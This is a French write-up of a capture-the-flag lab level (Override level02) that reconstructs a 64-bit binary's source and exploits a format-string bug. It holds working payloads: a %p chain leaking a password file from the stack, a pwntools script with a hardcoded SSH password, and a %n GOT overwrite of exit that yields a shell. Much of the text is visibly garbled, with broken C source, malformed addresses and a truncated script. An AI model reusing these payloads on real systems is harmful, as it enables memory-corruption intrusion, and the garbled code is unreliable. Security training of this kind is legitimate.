2. Level 02

On est cette fois sur un binaire 64 bits. On reconstruit le code source suivant :

```
include <stdio.h>
include <stdlib.h>
int main(void)
   int
   long 1;
   char buff[96];
char buff2[41];
   char buff3[96];
FILE *file = 0;
   while (i < 96)
   while (i < 40)
     buff[i++] = ' \setminus 0';
   while (i < 96)
     buff[i++] = ' \setminus 0';
   file = fopen("/home/users/level03/.pass", "r");
   if (file == 0)
      fwrite("ERROR: failed to open password file\n", 1, 0x24, stderr);
   y = fread(buff2, 1, 41, file);
   buff2[strcspn(buff2, "\n")] = '\0';
   fclose(file);
   puts("===== [ Secure Access System v1.0 ] =====");
   puts("| You must login to access this system. |");
   printf("--[ Username: ");
```

Le code désassemblé était bien sûr légèrement différent par rapport aux binaires 32 bits, même si globalement la méthode de reconstruction est très similaire.

En réalité, la seule différence notable était les calling convention des fonctions (voir 42/ASM/ASM64.odt). En effet, les arguments de fonction sont passés comme suit :

RDI, RSI, RDX, RCX, R8, R9, remaining from the stack

De même, les registres, les adresses, et le contenu des adresses font désormais **8 bytes** au lieu de 4. Un exemple simple d'un appel à fopen :

```
0x00000000000400898 <+132>:
                             mov
                                     edx,0x400bb0
0x0000000000040089d <+137>:
                                     eax,0x400bb2
                             mov
0x000000000004008a2 <+142>:
                             mov
                                   rsi,rdx
0x000000000004008a5 <+145>:
                                    rdi,rax
                             mov
0x000000000004008a8 <+148>:
                                     0x400700 <fopen@plt>
                             call
0x00000000004008ad <+153>:
                                     QWORD PTR [rbp-0x8],rax
                             mov
```

Sinon à part ça, pas de difficulté particulière pour reconstruire le code source. On trouve une vulnérabilité de type **formatstring** assez évidente à la fin du code, avec un printf qui ne prend pas de chaîne formattée et ne fait qu'afficher une variable que nous contrôlons (Username). On peut vérifier la vulnérabilité assez simplement, en insérant un *format specifier* dans le username :

Le *format specifier* est bien traduit, la vulnérabilité est présente. Attention cependant : nous sommes sur un programme **x64**, donc les *format specifiers*, lorsqu'ils vont tenter d'afficher les arguments de la fonction printf qui sont censés correspondre aux *specifiers*, vont d'abord afficher RSI – RDX – RCX – R8 – R9, avant d'afficher les valeurs sur la stack.

```
Starting program: /root/42/Override/level02/level02
==== [ Secure Access System v1.0 ] =====
/***************
 You must login to access this system.
Password: aaa
*******
Breakpoint 1, 0x0000000000400aa2 in main ()
(gdb) x /10a $sp
0x7ffffffffdf10: 0x7fffffffe128 0x100000000.
                         0x0
0x7ffffffffdf20: 0x616161
0x7ffffffffdf30: 0x0
                   0x0
0x7fffffffdf40: 0x0
                   0x0
0x7ffffffffdf50: 0x0
                   0x0
(gdb) continue
Continuing.
0x7ffffffffdf20
                                         0x7ffffffffe128
                                                       0x100000000 does not have access!
             0x61
                             0x2a
                                   (nil)
```

Il faut prendre cela en compte lorsqu'on tente d'exploit notre vulnérabilité de format string.

De là, j'ai d'abord essayé de reproduire les exploits effectués dans **Rainfall**, en utilisant le *specifier* %n afin d'écrire à des adresses mémoires arbitraires. J'ai vu que la fonction **exit** était appelée après notre vulnérabilité de format string, le plan était donc simplement de récupérer l'adresse **.got.plt** de **exit**, et d'y inscrire une adresse arbitraire (typiquement, celle de l'instruction **system("/bin/sh")** de la fonction **main**).

Il faut d'abord qu'on calcule le nombre de *jumpers* nécessaires afin que notre *format specifier* désigne les 8 premiers bytes de notre chaîne de format (qui contiendront notre adresse cible). On remplit notre buffer **username** de 'A', et on examine la stack juste avant l'appel à **printf**:

```
Breakpoint 1, 0x0000000000400aa2 in main ()
(gdb) x /30a $sp
0x7ffffffffff10: 0x7ffffffffe128
                                  0x100000000
0x7ffffffffdf20: 0x61616161
                                  0x0
0x7ffffffffdf30: 0x0
                         0x0
0x7ffffffffdf40: 0x0
                         0x0
0x7ffffffffff50: 0x0
                         0x0
                         0x0
0x7ffffffffdf70: 0x0
                         0x0
0x7ffffffffdf80: 0x0
                         0x0
0x7fffffffffdf90: 0x38614e674c427750
                                           0x3735574b544d3870
0x7ffffffffdfa0: 0x43514156787a3753
                                           0x714a385670436e78
0x7ffffffffdfb0: 0x7642455839735454
                                           0x0
0x7ffffffffdfc0: 0x4141414141414141
                                           0x4141414141414141
0x7ffffffffdfd0: 0x4141414141414141
                                           0x4141414141414141
0x7ffffffffdfe0: 0x0
                         0x0
0x7ffffffffdff0: 0x0
                         0x0
```

On se situe à **23 adresses** de **rsp**. Cela signifie que **28 format specifiers %p** (qui affichent et font avancer de 8 bytes) nous permettent d'atteindre le début de notre chaîne de format (pour évacuer les registers RSI – RDX – RCX – R8 - R9). On peut le vérifier simplement :

Ici, notre %28\$p pointe directement sur le début de notre format string composée de 'A'. On peut rédiger cela avec un payload dans un unique fichier avec la même technique que Rainfall – bonus1, en remplissant le buffer des fgets :

```
python -c "print('AAAAAAAA\28\p' + 'A' * 86 + 'aaaa')" > payload ./level02 < payload
```

En sachant cela, on veut voir maintenant si l'on peut effectivement se servir du specifier %n afin d'écrire à l'adresse .got.plt de exit. Notre payload est désormais le suivant:

Le %n devrait ici pointer sur 0x00000000000000001228, l'adresse .got.plt de exit, et y inscrire un entier (0x8 ici). Le problème est qu'un tel payload ne fonctionne évidemment pas, car il contient des NULL BYTES. La string s'arrête après les 3 premiers bytes, c'est le problème des adresses x64.

Et, bien sûr, si on retire les $\times 00$ on se retrouve avec une segmentation fault, car le %n attend une adresse de 8 bytes et va considérer que le %28\$n constitue le reste de l'adresse après nos 3 premiers bytes :

```
Program received signal SIGSEGV, Segmentation fault.
0x000007ffff7e502a8 in printf_positional (s=s@entry=0x7ffff7fa56c0 <_IO_2_1</pre>
    format=format@entry=0x7ffffffffffc0 "(\022`%28$n", 'A' <repeats 91 times
    ap=ap@entry=0x7fffffffde30, ap_savep=ap_savep@entry=0x7fffffffd9d8, doi
    work_buffer=<optimized out>, save_errno=<optimized out>, grouping=<opti
    at vfprintf-internal.c:1996
        vfprintf-internal.c: Aucun fichier ou dossier de ce type.
1996
(gdb) x /i $rip
=> 0x7fffff7e502a8 <printf_positional+6824>:
                                                 mov
                                                         DWORD PTR [rax],esi
(gdb) info registers
                                    7936530231360229928
rax
              0x6e24383225601228
rbx
               0x0
                                    7936530231360229928
rcx
               0x6e24383225601228
               0x7fffff7e4ee3d
rdx
                                    140737352363581
rsi
               0x3
                                    3
rdi
                                    0
               0x0
               0x7fffffffd890
                                    0x7fffffffd890
rbp
rsp
               0x7ffffffffcf50
                                    0x7ffffffffcf50
```

Ici, l'exploit était en réalité bien plus simple. On voit dans la fonction **main** que le programme ouvre le fichier **.pass** qui nous intéresse, et en place le contenu dans une variable locale **buff2** (afin ensuite de la comparer avec le mot de passe entré par l'utilisateur). Cette variable **buff2** :

- > Se situe sur la stack (buffer local).
- > Se situe dans la frame à partir de laquelle printf est appelée.

On peut en réalité se contenter d'utiliser notre faille format string afin de révéler le contenu de **buff2** sur la stack. Juste avant l'appel à printf, la stack a la configuration suivante :

```
Breakpoint 1, 0x0000000000400aa2 in main ()
(gdb) x /30a $sp
0x7ffffffffdf10: 0x7ffffffffe128
                                  0x1000000000
0x7ffffffffdf20: 0x61616161
                                  0x0
0x7ffffffffdf30: 0x0
0x7ffffffffdf40: 0x0
                          0x0
0x7ffffffffdf50: 0x0
                          0x0
0x7ffffffffdf60: 0x0
                          0x0
0x7ffffffffdf70: 0x0
                          0 x 0
0x7ffffffffdf80: 0x0
                          0x0
0x7ffffffffdf90: 0x38614e674c427750
                                           0x3735574b544d3870
0x7ffffffffdfa0: 0x43514156787a3753
                                           0x714a385670436e78
0x7ffffffffdfb0: 0x7642455839735454
                                           0x0
0x7ffffffffdfc0: 0x4141414141414141
                                           0x414141414141414141
0x7ffffffffdfd0: 0x4141414141414141
                                           0x414141
0x7ffffffffdfe0: 0x0
                          0 x 0
0x7ffffffffdff0: 0x0
                          0x0
```

Calculons comme précédemment le nombre de *jumpers* dont on aura besoin afin que les specifiers de la fonction **printf** affiche le contenu de cet emplacement mémoire.

On se situe à 17 adresses de esp; en prenant en compte les 5 registers censés contenir les premiers arguments, 22 specifiers %p permettent d'afficher la zone mémoire. De là, notre payload est simple:

```
%22$p|%23$p|%24$p|%25$p|%26$p
```

Donner cela en input au programme révèlera la zone mémoire stockant le contenu du fichier **.pass** qu'on souhaite leak. Ce leak prendra la forme d'adresses mémoires (car on utilise %p), il faudra ensuite simplement traduire tout ça en ASCII :

>> Exploitation manuelle

```
> ./level02
> --[ Username: %22$p|%23$p|%24$p|%25$p|%26$p
```

```
> --[ Password: aaaa
> Convert leaked values to ASCII (see exploit.py)
```

>> Exploit automatique

```
from pwn import *
s = ssh(host="192.168.1.3", port=4242, user="level02",
password="PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv")
p = s.process("/home/users/level02/./level02")
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.sendline(b"%22$p|%23$p|%24$p|%25$p|%26$p")
p.sendline(b<mark>"aaaa"</mark>)
p.recvline()
result = p.recvlineS()
result = result[:95]
chunks = result.split('|')
passw = ''
for chunk in chunks :
    ba.reverse()
    passw += ba.decode()
  int("[+] Exfiltrated .pass from stack memory : " + passw)
```

MÉTHODE N°2:

Après avoir un peu réfléchi, il est en réalité également possible d'overwrite l'adresse .got.plt de la fonction exit afin de rediriger le flux d'exécution vers l'appel system effectué dans la fonction main. En effet, lorsqu'on exécute le programme de manière "normale" (ou avec notre payload précédent), rappelons que l'état de la stack est le suivant :

```
Breakpoint 1, 0x0000000000400aa2 in main ()
(gdb) x /20a $sp
0x7ffffffffdf10: 0x7ffffffffe128 0x100000000
0x7ffffffffdf20: 0x61616161
                                  0x0
0x7ffffffffdf30: 0x0
                         0x0
0x7ffffffffdf40: 0x0
                         0 x 0
0x7ffffffffdf50: 0x0
                         0x0
0x7fffffffdf60: 0x0
                         0x0
0x7ffffffffdf70: 0x0
                         0x0
0x7fffffffdf80: 0x0
                         0x0
                                          0x3735574b544d3870
0x7ffffffffdf90: 0x38614e674c427750
0x7ffffffffdfa0: 0x43514156787a3753
                                          0x714a385670436e78
```

On a bien le contenu du fichier .pass en mémoire vers les adresses hautes, mais on a également un buffer (buff3) qui contient notre input pour le mot de passe. Ce buffer est initialement rempli de 0; que se passe-t-il alors si jamais on entre les bytes suivants :

 $x28\x12\x60$

```
Breakpoint 1, 0x0000000000400aa2 in main ()
(gdb) x /30a $sp
0x7fffffffffdf10: 0x7ffffffffe128 0x100000000
0x7ffffffffdf20: 0x601228 <exit@got.plt> 0x0
0x7ffffffffdf30: 0x0
                         0x0
0x7ffffffffdf40: 0x0
                         0x0
0x7ffffffffff0: 0x0
                         0x0
0x7ffffffffdf60: 0x0
                         0 x 0
0x7ffffffffdf70: 0x0
                         0x0
0x7ffffffffdf80: 0x0
                         0x0
0x7fffffffffdf90: 0x38614e674c427750
                                          0x3735574b544d3870
0x7ffffffffdfa0: 0x43514156787a3753
                                          0x714a385670436e78
```

On peut donc faire pointer notre specifier %n sur cette adresse de la stack afin d'y inscrire des bytes arbitraires. On détermine qu'il s'agit de %8\$n.

Attention cependant, on ne va pas pouvoir utiliser la technique de **Rainfall – level4** qui consiste à écrire byte par byte à des adresses précises (0x601228 - 0x601229 - 0x601230 etc...) car on aurait pour cela besoin d'avoir ce pattern dans notre chaîne de format password :

0x0000000000601228 [DUMMY ADDR] 0x0000000000601229 [DUMMY ADDR] ...

```
payload = b''
payload += b'%4196997x%8$n'
payload += b'A' * (99 - len(payload))
payload += b'\x28\x12\x60'

file = open("payload", "wb")
file.write(payload)
file.close()
```

Le terminal fait un peu la tronche avec autant de caractères à afficher, mais ça fonctionne, on a une shell.

Got flag.